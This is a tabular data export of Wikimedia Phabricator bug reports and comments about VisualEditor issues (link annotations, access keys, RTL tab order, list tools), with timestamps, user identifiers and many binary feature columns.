+**Severity**: normal",High,80.0,1367794320,1368373764.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-hwpwpa3athddhod7xlp4,task_description,resolved,True,c1,1,True,False,True,-9,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+229698,VisualEditor: [Regression] Link insertion annotation makes it difficult to add plain text after a link,Fixed by https://gerrit.wikimedia.org/r/#/c/62481/,,,1368373764,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-hwpwpa3athddhod7xlp4,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+229688,VisualEditor: [Regression] Link insertion annotation makes it difficult to add plain text after a link,"This is a regression - it used to be that there were two types of annotations - one (bold/italics/etc.) would pre-annotate over word breaks, and the other wouldn't. I believe that the code to do this used to sit in CE - has it been removed, or is it not working somehow?",,,1367808687,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hwpwpa3athddhod7xlp4,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+50107,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab","Currently we steal all the things on action=edit for veaction=edit (so Ctrl-Option-e goes to VisualEditor, leaving nothing for the wikitext editor). We should add a new one - Ctrl-Option-s (for *s*ource) - though that's used for save in the wikitext editor, which is a bit odd. Ideas?
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1367769060,1368232252.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-uhuq2co3arbcvjn3js5m,task_description,resolved,True,c1,1,True,False,True,-9,,1,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+229294,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab",Fixed in master.,,,1368232252,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uhuq2co3arbcvjn3js5m,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+229288,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab",Related URL: https://gerrit.wikimedia.org/r/63231 (Gerrit Change I598177bc75ed84dea35952a3b2b1b2111aac89b2),,,1368223225,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uhuq2co3arbcvjn3js5m,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+229281,"VisualEditor: Access keys - leave Ctrl+Option+e for the (newly-relabelled) ""edit source"" tab; Add Ctrl+Option+v for the VisualEditor ""edit"" tab","Change of plans:
+* Leave -e for the wikitext editor tab
+* Add -v for the VisualEditor tab",,,1368209183,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uhuq2co3arbcvjn3js5m,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+50060,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"I changed a link here: http://sv.wikipedia.org/w/index.php?title=Intellektuell_s%C3%A4rbeg%C3%A5vning&diff=21539781&oldid=21539483
+
+In the VisualEditor interface, the word ""Känsla"" is showed with a lower case k, but when you are looking at the article, or source it is K.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1367618160,1368631481.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_description,resolved,True,c1,1,False,False,True,-9,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+226504,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"(In reply to comment #4)
+> As we're generating the correct HTML surely this is just a Parsoid bug, not a
+> VE bug.
+
+Yeah, point.
+
+*** This bug has been marked as a duplicate of bug 48477 ***",,,1368631481,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+226501,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"As we're generating the correct HTML surely this is just a Parsoid bug, not a VE bug.",,,1368628645,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0
+226497,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],Depends on a Parsoid regression being fixed.,,,1368574562,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226493,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"I just hit the same again.
+
+* Text ""foo"".
+* Link it, page ""Foo"" exists.
+* Close link editor.
+* Page shows ""text <a href=""./Foo"">foo</a> text"".
+* Saving turns it into [[Foo]], thus ignoring the case of the label.",,,1368573811,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+226489,VisualEditor: Link inspector shouldn't correct newly-created [[Foo|foo]] to [[Foo]],"Thank y(In reply to comment #0)
+> I changed a link here:
+>
+> http://sv.wikipedia.org/w/index.php?diff=21539781&oldid=21539483
+> 
+> In the VisualEditor interface, the word ""Känsla"" is showed with a lower case
+> k, but when you are looking at the article, or source it is K.
+
+Thank you for your bug report, Jan! Hope to get this fixed soon.",,,1367895881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkhtpgjkzrvqucqxny7q,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+50024,VisualEditor: Pawn characters created when moving cursors around inline images in Firefox,"All the pawns
+
+See attached image, basically the idea is that indenting or de-indenting a list item will cause there to be a pawn in the list item. Also, when I used the arrow keys to navigate past some images, it put pawns next to the images.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10767}",High,80.0,1367532360,1369100291.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-sw2uw4ekzaqwybdqmbq6,task_description,resolved,True,c1,1,True,False,True,-9,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+223807,VisualEditor: Pawn characters created when moving cursors around inline images in Firefox,This is now fixed in wmf4 (which is the current in-production version); marking as such.,,,1369098863,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sw2uw4ekzaqwybdqmbq6,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+223801,VisualEditor: Pawn characters created when moving cursors around inline images in Firefox,"Nothing about the list or indenting, just the cursor keys trigger it (Firefox only).",,,1367545948,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sw2uw4ekzaqwybdqmbq6,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+50017,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",The order should be Edit then Edit tab. Looks like a hard-coded left somewhere?,High,80.0,1367527740,1506606636.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_description,resolved,True,c1,1,True,False,False,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+938300,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381217 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Fix the code to reorder tabs
+
+[[https://gerrit.wikimedia.org/r/381217]]
+",,,1506613751,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+938189,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381217 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
+[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Fix the code to reorder tabs
+
+[[https://gerrit.wikimedia.org/r/381217]]
+",,,1506606897,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+938185,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","After trying to verify the fix during the SWAT deployment, I found out that this entire feature (fixing up the tab order if wgVisualEditorTabPosition was changed and we're seeing cached HTML with the tabs in wrong order) is actually entirely broken and just does nothing. The deployment was essentially a no-op. This is actually convenient because had it worked, it would have been messing up the tabs.",,,1506606636,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,True,,,221,,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+938170,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AV7ItYHmF4fsM4DBdIoK} [2017-09-28T13:38:12Z] <zfilipin@tin> Synchronized php-1.31.0-wmf.1/extensions/VisualEditor/modules/ve-mw/init/targets/ve.init.mw.DesktopArticleTarget.init.js: SWAT: [[gerrit:381210|ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector (T50017)]] (duration: 00m 50s)",,,1506605892,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+938146,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381210 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@wmf/1.31.0-wmf.1] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector
+
+[[https://gerrit.wikimedia.org/r/381210]]
+",,,1506604497,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+938122,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381210 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
+[mediawiki/extensions/VisualEditor@wmf/1.31.0-wmf.1] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector
+
+[[https://gerrit.wikimedia.org/r/381210]]
+",,,1506602050,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+938023,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381167 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector
+
+[[https://gerrit.wikimedia.org/r/381167]]
+",,,1506589079,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+937978,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",(This will need to be backported to 1.31.0-wmf.1.),,,1506577515,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,True,,,221,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+937973,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","Change 381167 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
+[mediawiki/extensions/VisualEditor@master] ve.init.mw.DesktopArticleTarget: Remove hack for reversed tabs in RTL in Vector
+
+[[https://gerrit.wikimedia.org/r/381167]]
+",,,1506576918,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,False,,,221,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+937972,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","With the underlying issue T48947 being fixed, our workaround is now unnecessary and in fact reintroduces this issue. We should remove it.",,,1506576890,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,3,True,,,221,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+223402,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",*** Bug 47684 has been marked as a duplicate of this bug. ***,,,1368639099,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+223397,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",Merged into master.,,,1368232328,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+223394,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""",Related URL: https://gerrit.wikimedia.org/r/63153 (Gerrit Change Ie1214b08450aefed893739a2b862cb1e9b23a2ef),,,1368210908,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+223389,"VisualEditor: In RTL, the ""Edit"" tab appears down-tab (to the left) rather than up-tab (to the right) of ""Edit source""","This is caused by bug 46947 – the HTML order of tabs is reversed, then reversed again in the CSS...",,,1367527956,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-l6veaqa2gygvcgf2ywhf,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+49947,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"There are probably two solutions - make it work - or disable list buttons while in block slug.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1367431680,1372704235.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-ht3d5xeklsjuq5qulguj,task_description,resolved,True,c1,1,False,False,True,-9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+219133,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,Fixed and will be deployed later today.,,,1372704235,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+219128,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"Change 71353 merged by jenkins-bot:
+Allow creating lists in block slugs
+
+https://gerrit.wikimedia.org/r/71353",,,1372704109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+219122,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"Change 71353 had a related patch set uploaded by Jforrester:
+(bug 47947) Allow creating lists while selection is collapsed and in block slug
+
+https://gerrit.wikimedia.org/r/71353",,,1372691992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+219115,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,"Change 71353 had a related patch set uploaded by Inez:
+(bug 47947) Allow creating lists while selection is collapsed and in block slug
+
+https://gerrit.wikimedia.org/r/71353",,,1372689599,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
